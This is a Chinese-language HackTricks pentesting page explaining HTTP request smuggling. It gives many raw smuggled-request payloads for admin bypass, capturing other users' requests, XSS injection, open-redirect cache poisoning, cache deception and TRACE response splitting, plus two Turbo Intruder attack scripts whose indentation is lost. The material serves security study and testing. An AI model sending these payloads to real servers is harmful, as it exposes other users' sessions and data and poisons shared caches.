> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/http-request-smuggling.md).

# HTTP Request Smuggling / HTTP Desync Attack

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注\*\*我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## 什么是

当**前端代理**和**后端**服务器之间发生**不同步**时，会出现此漏洞，使得**攻击者**能够发送一个 HTTP **请求**，该请求将被**前端代理**（负载均衡/反向代理）解释为**单个请求**，而被**后端**服务器解释为**2个请求**。\
这使得用户能够在其之后到达后端服务器的**下一个请求**中**修改请求**。

### 理论

[**RFC 规范（2161）**](https://tools.ietf.org/html/rfc2616)

> 如果接收到的消息同时具有传输编码头字段和内容长度头字段，则必须忽略后者。

**Content-Length**

> Content-Length 实体头指示发送给接收方的实体主体的字节数。

**Transfer-Encoding: chunked**

> Transfer-Encoding 头指定用于安全传输有效载荷主体的编码形式。\
> Chunked 意味着大数据以一系列块的形式发送

### 现实情况

**前端**（负载均衡 / 反向代理）处理 ***content-length*** 或 ***transfer-encoding*** 头，而**后端**服务器处理另一个头，导致这两个系统之间的**不同步**。\
这可能非常危险，因为**攻击者将能够向反向代理发送一个请求**，该请求将被**后端**服务器解释为**2个不同的请求**。这种技术的危险在于**后端**服务器将会将**注入的第二个请求**解释为来自**下一个客户端**，而该客户端的**真实请求**将成为**注入请求**的一部分。

### 特殊情况

请记住，在 HTTP 中，**一个换行符由 2 个字节组成**：

* **Content-Length**：此头使用**十进制数**来指示请求主体的**字节数**。预期请求主体在最后一个字符结束，**请求的末尾不需要换行符**。
* **Transfer-Encoding:** 此头在**主体**中使用**十六进制数**来指示**下一个块**的**字节数**。**块**必须以**换行符**结尾，但是**长度指示符不计算**这个换行符。此传输方法必须以**大小为 0 的块后跟 2 个换行符**结束：`0`
* **Connection**：根据我的经验，建议在请求串行的第一个请求中使用\*\*`Connection: keep-alive`\*\*。

## 基本示例

{% hint style="success" %}
尝试使用 Burp Suite 利用此漏洞时，**在重复器中禁用 `Update Content-Length` 和 `Normalize HTTP/1 line endings`**，因为一些小工具会滥用换行符、回车和格式不正确的 content-length。
{% endhint %}

HTTP 请求串行攻击是通过发送模棱两可的请求来制造的，利用前端和后端服务器解释 `Content-Length`（CL）和 `Transfer-Encoding`（TE）头的差异。这些攻击可以以不同形式出现，主要是**CL.TE**、**TE.CL** 和 **TE.TE**。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理相同请求，导致意外且可能恶意的结果。

### 漏洞类型的基本示例

![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](/files/G8H6WjtHKeW7Xi2jYuVA)

#### CL.TE 漏洞（前端使用 Content-Length，后端使用 Transfer-Encoding）

* **前端（CL）：** 根据 `Content-Length` 头处理请求。
* **后端（TE）：** 根据 `Transfer-Encoding` 头处理请求。
* **攻击场景：**
* 攻击者发送一个请求，其中 `Content-Length` 头的值与实际内容长度不匹配。
* 前端服务器根据 `Content-Length` 值将整个请求转发给后端。
* 后端服务器由于 `Transfer-Encoding: chunked` 头而将请求处理为分块，将剩余数据解释为单独的、随后的请求。
* **示例：**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x
```

#### TE.CL 漏洞（前端使用 Transfer-Encoding，后端使用 Content-Length）

* **前端（TE）：** 根据 `Transfer-Encoding` 头处理请求。
* **后端（CL）：** 根据 `Content-Length` 头处理请求。
* **攻击场景：**
* 攻击者发送一个分块请求，其中块大小（`7b`）和实际内容长度（`Content-Length: 4`）不对齐。
* 前端服务器遵循 `Transfer-Encoding`，将整个请求转发给后端。
* 后端服务器遵循 `Content-Length`，仅处理请求的初始部分（`7b` 字节），将其余部分作为意外的随后请求的一部分。
* **示例：**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

```

#### TE.TE漏洞（前端和后端都使用的传输编码，带有混淆）

* **服务器：** 两者都支持`Transfer-Encoding`，但可以通过混淆来欺骗其中一个。
* **攻击场景：**
* 攻击者发送带有混淆的`Transfer-Encoding`头的请求。
* 取决于哪个服务器（前端或后端）无法识别混淆，可能会利用CL.TE或TE.CL漏洞。
* 请求的未处理部分，由其中一个服务器看到，将成为后续请求的一部分，导致走私。
* **示例：**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```

#### **CL.CL场景（前端和后端都使用的内容长度）：**

* 两个服务器仅基于`Content-Length`头处理请求。
* 这种情况通常不会导致走私，因为两个服务器在解释请求长度方面是一致的。
* **示例：**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

正常请求
```

#### **CL != 0场景：**

* 指的是`Content-Length`头存在且值不为零的情况，表明请求体具有内容。
* 在理解和构建走私攻击时至关重要，因为它影响服务器如何确定请求的结束。
* **示例：**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

非空请求体
```

#### 破坏Web服务器

这种技术在**读取初始HTTP数据时可能破坏Web服务器**，但**不关闭连接**的情况下也很有用。这样，HTTP请求的**主体**将被视为**下一个HTTP请求**。

例如，正如在[**这篇文章**](https://mizu.re/post/twisty-python)中所解释的，在Werkzeug中，发送一些**Unicode**字符可能导致服务器**崩溃**。但是，如果使用带有头部\*\*`Connection: keep-alive`**创建HTTP连接，则不会读取请求的主体，连接仍将保持打开状态，因此请求的**主体**将被视为**下一个HTTP请求\*\*。

#### 通过逐跳头强制

滥用逐跳头，您可以指示代理**删除标题Content-Length或Transfer-Encoding，以便滥用HTTP请求走私**。

```
Connection: Content-Length
```

## 寻找HTTP请求走私

通过观察服务器对操纵请求的响应时间来识别HTTP请求走私漏洞通常是可行的，这依赖于时间技术。这些技术对于检测CL.TE和TE.CL漏洞特别有用。除了这些方法，还有其他策略和工具可用于发现此类漏洞：

### 使用时间技术查找CL.TE漏洞

* **方法:**
* 发送一个请求，如果应用程序存在漏洞，将导致后端服务器等待额外数据。
* **示例:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```

* **观察:**
* 前端服务器根据`Content-Length`处理请求，并过早截断消息。
* 后端服务器期望收到一个分块消息，等待下一个从未到达的分块，导致延迟。
* **指标:**
* 响应超时或长时间延迟。
* 从后端服务器接收到400 Bad Request错误，有时还附带详细的服务器信息。

### 使用时间技术查找TE.CL漏洞

* **方法:**
* 发送一个请求，如果应用程序存在漏洞，将导致后端服务器等待额外数据。
* **示例:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```

* **观察:**
* 前端服务器根据`Transfer-Encoding`处理请求并转发整个消息。
* 后端服务器期望基于`Content-Length`的消息，等待从未到达的额外数据，导致延迟。

### 其他查找漏洞的方法

* **差异响应分析:**
* 发送略有变化的请求版本，并观察服务器响应是否以意外方式不同，指示解析差异。
* **使用自动化工具:**
* 像Burp Suite的'HTTP Request Smuggler'扩展这样的工具可以通过发送各种模糊请求并分析响应来自动测试这些漏洞。
* **Content-Length变化测试:**
* 发送具有不与实际内容长度对齐的不同`Content-Length`值的请求，并观察服务器如何处理这种不匹配。
* **Transfer-Encoding变化测试:**
* 发送具有混淆或格式不正确的`Transfer-Encoding`头的请求，并监视前端和后端服务器对这种操纵的不同响应。

### HTTP请求走私漏洞测试

在确认时间技术的有效性后，验证客户端请求是否可被操纵至关重要。一种简单的方法是尝试操纵您的请求，例如，使对`/`的请求产生404响应。在[基本示例](#basic-examples)中先前讨论的`CL.TE`和`TE.CL`示例演示了如何操纵客户端请求以引发404响应，尽管客户端的目标是访问不同的资源。

**关键考虑事项**

在通过干扰其他请求测试请求走私漏洞时，请记住：

* **不同的网络连接:** “攻击”和“正常”请求应分别通过不同的网络连接发送。使用相同连接发送两者不会验证漏洞的存在。
* **一致的URL和参数:** 务必为两个请求使用相同的URL和参数名称。现代应用程序通常根据URL和参数将请求路由到特定的后端服务器。匹配这些内容增加了两个请求由同一服务器处理的可能性，这是成功攻击的先决条件。
* **时间和竞争条件:** “正常”请求旨在检测来自“攻击”请求的干扰，与其他并发应用程序请求竞争。因此，应立即在“攻击”请求之后发送“正常”请求。繁忙的应用程序可能需要多次尝试才能得出结论性的漏洞确认。
* **负载均衡挑战:** 充当负载均衡器的前端服务器可能会将请求分发到各种后端系统。如果“攻击”和“正常”请求最终进入不同的系统，攻击将不会成功。这种负载平衡方面可能需要多次尝试才能确认漏洞。
* **意外用户影响:** 如果您的攻击意外影响了另一个用户的请求（而不是您发送用于检测的“正常”请求），这表明您的攻击影响了另一个应用程序用户。持续测试可能会干扰其他用户，需要谨慎处理。

## 滥用HTTP请求走私

### 通过HTTP请求走私绕过前端安全

有时，前端代理实施安全措施，审查传入请求。然而，这些措施可以通过利用HTTP请求走私来绕过，从而允许未经授权访问受限端点。例如，外部可能禁止访问`/admin`，前端代理会主动阻止此类尝试。然而，该代理可能忽略检查走私HTTP请求中嵌入的请求，为绕过这些限制留下漏洞。

考虑以下示例，说明如何使用HTTP请求走私绕过前端安全控制，特别是针对通常由前端代理保护的`/admin`路径：

**CL.TE示例**

```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=
```

在 CL.TE 攻击中，利用 `Content-Length` 头部进行初始请求，而随后嵌入的请求则利用 `Transfer-Encoding: chunked` 头部。前端代理处理初始的 `POST` 请求，但未能检查嵌入的 `GET /admin` 请求，从而允许未经授权访问 `/admin` 路径。

**TE.CL 示例**

```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

```

相反，在TE.CL攻击中，初始的`POST`请求使用`Transfer-Encoding: chunked`，而后续嵌入的请求则基于`Content-Length`头进行处理。类似于CL.TE攻击，前端代理忽略了携带的`GET /admin`请求，无意中授予对受限`/admin`路径的访问权限。

### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

应用程序通常使用**前端服务器**在将请求传递给后端服务器之前修改传入请求。典型的修改包括添加头部，例如`X-Forwarded-For: <客户端的IP>`，以将客户端的IP传递给后端。了解这些修改可能至关重要，因为这可能揭示了**绕过保护**或**揭示隐藏信息或端点**的方法。

要调查代理如何修改请求，请查找后端在响应中回显的POST参数。然后，制作一个请求，将此参数放在最后，类似于以下内容：

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=
```

在这种结构中，后续请求组件被附加在`search=`之后，这是在响应中反映的参数。这种反射将暴露后续请求的标头。

重要的是将嵌套请求的`Content-Length`标头与实际内容长度对齐。建议从一个小值开始逐渐增加，因为值过低将截断反映的数据，而值过高可能会导致请求出错。

这种技术也适用于TE.CL漏洞，但请求应以`search=\r\n0`结束。无论换行符是什么，这些值都将附加到搜索参数。

这种方法主要用于了解前端代理所做的请求修改，实质上是执行自我导向的调查。

### 捕获其他用户的请求 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

通过将特定请求附加为参数值来捕获下一个用户的请求是可行的。在进行POST操作时，可以通过以下方式实现这一点：

通过将以下请求附加为参数值，您可以存储后续客户端的请求：

```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```

在这种情况下，**comment参数**旨在存储公开页面上评论部分中的内容。因此，随后的请求内容将显示为评论。

然而，这种技术有局限性。通常，它仅捕获直到被用于伪造请求的参数分隔符为止的数据。对于URL编码的表单提交，这个分隔符是`&`字符。这意味着从受害用户请求中捕获的内容将在第一个`&`处停止，甚至可能是查询字符串的一部分。

此外，值得注意的是，这种方法在存在TE.CL漏洞时也是可行的。在这种情况下，请求应以`search=\r\n0`结尾。无论换行符是什么，值都将附加到搜索参数上。

### 利用HTTP请求走私来利用反射型XSS

HTTP请求走私可用于利用易受**反射型XSS**攻击的网页，提供重要优势：

* **无需与目标用户交互**。
* 允许利用通常**无法获取**的请求部分中的XSS，如HTTP请求头。

在网站容易通过用户代理标头受到反射型XSS攻击的情况下，以下有效载荷演示了如何利用此漏洞：

```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=
```

这个 payload 的结构用于利用漏洞：

1. 发起一个 `POST` 请求，看似典型，带有一个 `Transfer-Encoding: chunked` 头部来指示开始进行走私。
2. 接着是一个 `0`，标记着分块消息体的结束。
3. 然后，引入一个走私的 `GET` 请求，其中 `User-Agent` 头部被注入了一个脚本 `<script>alert(1)</script>`，当服务器处理这个后续请求时触发 XSS。

通过走私来操纵 `User-Agent`，payload 能够绕过正常请求的限制，从而以非标准但有效的方式利用反射型 XSS 漏洞。

#### HTTP/0.9

{% hint style="danger" %}
如果用户内容在响应中反射，且具有诸如 **`text/plain`** 这样的 **`Content-type`**，可能会阻止 XSS 的执行。如果服务器支持 **HTTP/0.9，可能可以绕过这个限制**！
{% endhint %}

HTTP/0.9 版本先于 1.0 版本出现，只使用 **GET** 动词，且**不**会响应 **头部**，只有主体。

在[**这篇文章**](https://mizu.re/post/twisty-python)中，通过请求走私和一个**会将用户输入作为响应返回的易受攻击的端点**，滥用了 HTTP/0.9。将在响应中反映的参数包含了一个**伪造的 HTTP/1.1 响应（带有头部和主体）**，因此响应将包含具有 `Content-Type` 为 `text/html` 的有效可执行 JS 代码。

### 利用 HTTP 请求走私对站点重定向进行利用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

应用程序通常通过在重定向 URL 中使用 `Host` 头部中的主机名从一个 URL 重定向到另一个。这在像 Apache 和 IIS 这样的 Web 服务器中很常见。例如，请求一个没有尾随斜杠的文件夹会导致重定向以包含斜杠：

```
GET /home HTTP/1.1
Host: normal-website.com
```

结果如下：

```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```

尽管看似无害，但这种行为可以通过HTTP请求走私来操纵，将用户重定向到外部网站。例如：

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```

这种走私请求可能导致下一个处理的用户请求被重定向到攻击者控制的网站：

```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```

结果如下：

```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```

### 通过HTTP请求走私利用Web缓存投毒 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

如果**前端基础设施的任何组件缓存内容**，通常是为了提高性能，那么可以执行Web缓存投毒。通过操纵服务器的响应，可以**投毒缓存**。

之前，我们观察到服务器响应可以被修改以返回404错误（参见[基本示例](#basic-examples)）。类似地，可以欺骗服务器，使其在响应对`/static/include.js`的请求时提供`/index.html`内容。因此，`/static/include.js`的内容被`/index.html`的内容替换在缓存中，使得用户无法访问`/static/include.js`，可能导致拒绝服务（DoS）。

如果发现**开放重定向漏洞**或存在**站点重定向到开放重定向**，则此技术变得特别强大。可以利用这些漏洞将`/static/include.js`的缓存内容替换为受攻击者控制的脚本，从而在所有请求更新的`/static/include.js`的客户端中实施广泛的跨站脚本（XSS）攻击。

下面是一个利用**缓存投毒结合站点重定向到开放重定向**的示例。目标是修改`/static/include.js`的缓存内容，以提供受攻击者控制的JavaScript代码：

```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
```

注意嵌入的请求针对 `/post/next?postId=3`。该请求将被重定向到 `/post?postId=4`，利用**Host 头值**来确定域。通过修改**Host 头**，攻击者可以将请求重定向到他们的域（**站内重定向到开放重定向**）。

成功进行**socket 毒化**后，应发起对 `/static/include.js` 的**GET 请求**。该请求将受到之前的**站内重定向到开放重定向**请求的影响，并获取攻击者控制的脚本内容。

随后，任何对 `/static/include.js` 的请求都将提供攻击者脚本的缓存内容，有效地发起广泛的 XSS 攻击。

### 使用 HTTP 请求走私执行 Web 缓存欺骗 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

> **Web 缓存毒化和 Web 缓存欺骗之间有什么区别？**
>
> * 在**Web 缓存毒化**中，攻击者导致应用程序将一些恶意内容存储在缓存中，并将此内容从缓存提供给其他应用程序用户。
> * 在**Web 缓存欺骗**中，攻击者导致应用程序将属于另一个用户的一些敏感内容存储在缓存中，然后攻击者从缓存中检索此内容。

攻击者构造了一个走私请求，用于获取敏感的特定用户内容。考虑以下示例：

```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
```

如果这个走私请求毒害了一个用于静态内容的缓存条目（例如，`/someimage.png`），受害者的敏感数据可能会被缓存在静态内容的缓存条目下。因此，攻击者可能会潜在地检索这些缓存的敏感数据。

### 通过 HTTP 请求走私滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

[**在这篇文章中**](https://portswigger.net/research/trace-desync-attack)建议如果服务器启用了 TRACE 方法，可能会滥用它进行 HTTP 请求走私。这是因为这个方法会将发送到服务器的任何标头作为响应主体的一部分反射回去。例如：

```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```

将发送类似以下响应：

```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```

一个滥用这种行为的示例是**先发送一个HEAD请求**。这个请求将只返回一个GET请求的**头部**（其中包括\*\*`Content-Type`**）。然后**立即在HEAD请求后发送一个TRACE请求\*\*，这个请求将**反射发送的数据**。\
由于HEAD响应将包含一个`Content-Length`头部，**TRACE请求的响应将被视为HEAD响应的主体，从而在响应中反射任意数据**。\
这个响应将被发送到连接上的下一个请求，因此这可以被**用在缓存的JS文件中，例如注入任意JS代码**。

### 通过HTTP响应拆分滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

继续阅读[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。正如评论中所述，通过传输一个HEAD请求和一个TRACE请求，可以**控制响应中一些反射的数据**。HEAD请求的主体长度基本上在Content-Length头部中指示，并由TRACE请求的响应组成。

因此，新的想法是，知道这个Content-Length和TRACE响应中给定的数据，可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应，从而使攻击者完全控制对下一个响应的请求（这可以用于执行缓存投毒）。

示例：

```
GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```

将生成这些响应（请注意，HEAD 响应具有 Content-Length，使 TRACE 响应成为 HEAD 主体的一部分，一旦 HEAD Content-Length 结束，就会传递有效的 HTTP 响应）:

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>
```

### 利用 HTTP 请求串联与 HTTP 响应解同步化进行武器化

您是否发现了一些 HTTP 请求串联漏洞，但不知道如何利用它。尝试这些其他利用方法：

{% content-ref url="/pages/R0oFjhokmy0hUOZgtiIk" %}
[HTTP Response Smuggling / Desync](/pentesting-web/http-response-smuggling-desync.md)
{% endcontent-ref %}

### 其他 HTTP 请求串联技术

* 浏览器 HTTP 请求串联（客户端）

{% content-ref url="/pages/SS4lIGXVJoqBjC6QXEDD" %}
[Browser HTTP Request Smuggling](/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md)
{% endcontent-ref %}

* HTTP/2 降级中的请求串联

{% content-ref url="/pages/9HrKhIvims2XCpGTF8Ke" %}
[Request Smuggling in HTTP/2 Downgrades](/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}

## Turbo intruder 脚本

### CL.TE

来源：<https://hipotermia.pw/bb/http-desync-idor>

```python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)
```

### TE.CL

From: <https://hipotermia.pw/bb/http-desync-account-takeover>

```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)
```

## 工具

* <https://github.com/anshumanpattnaik/http-request-smuggling>
* <https://github.com/PortSwigger/http-request-smuggler>
* <https://github.com/gwen001/pentest-tools/blob/master/smuggler.py>
* <https://github.com/defparam/smuggler>
* <https://github.com/Moopinger/smugglefuzz>
* <https://github.com/bahruzjabiyev/t-reqs-http-fuzzer>: 这个工具是基于语法的HTTP Fuzzer，用于发现奇怪的请求欺骗差异。

## 参考资料

* <https://portswigger.net/web-security/request-smuggling>
* <https://portswigger.net/web-security/request-smuggling/finding>
* <https://portswigger.net/web-security/request-smuggling/exploiting>
* <https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4>
* <https://github.com/haroonawanofficial/HTTP-Desync-Attack/>
* <https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html>
* <https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/>
* <https://portswigger.net/research/trace-desync-attack>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
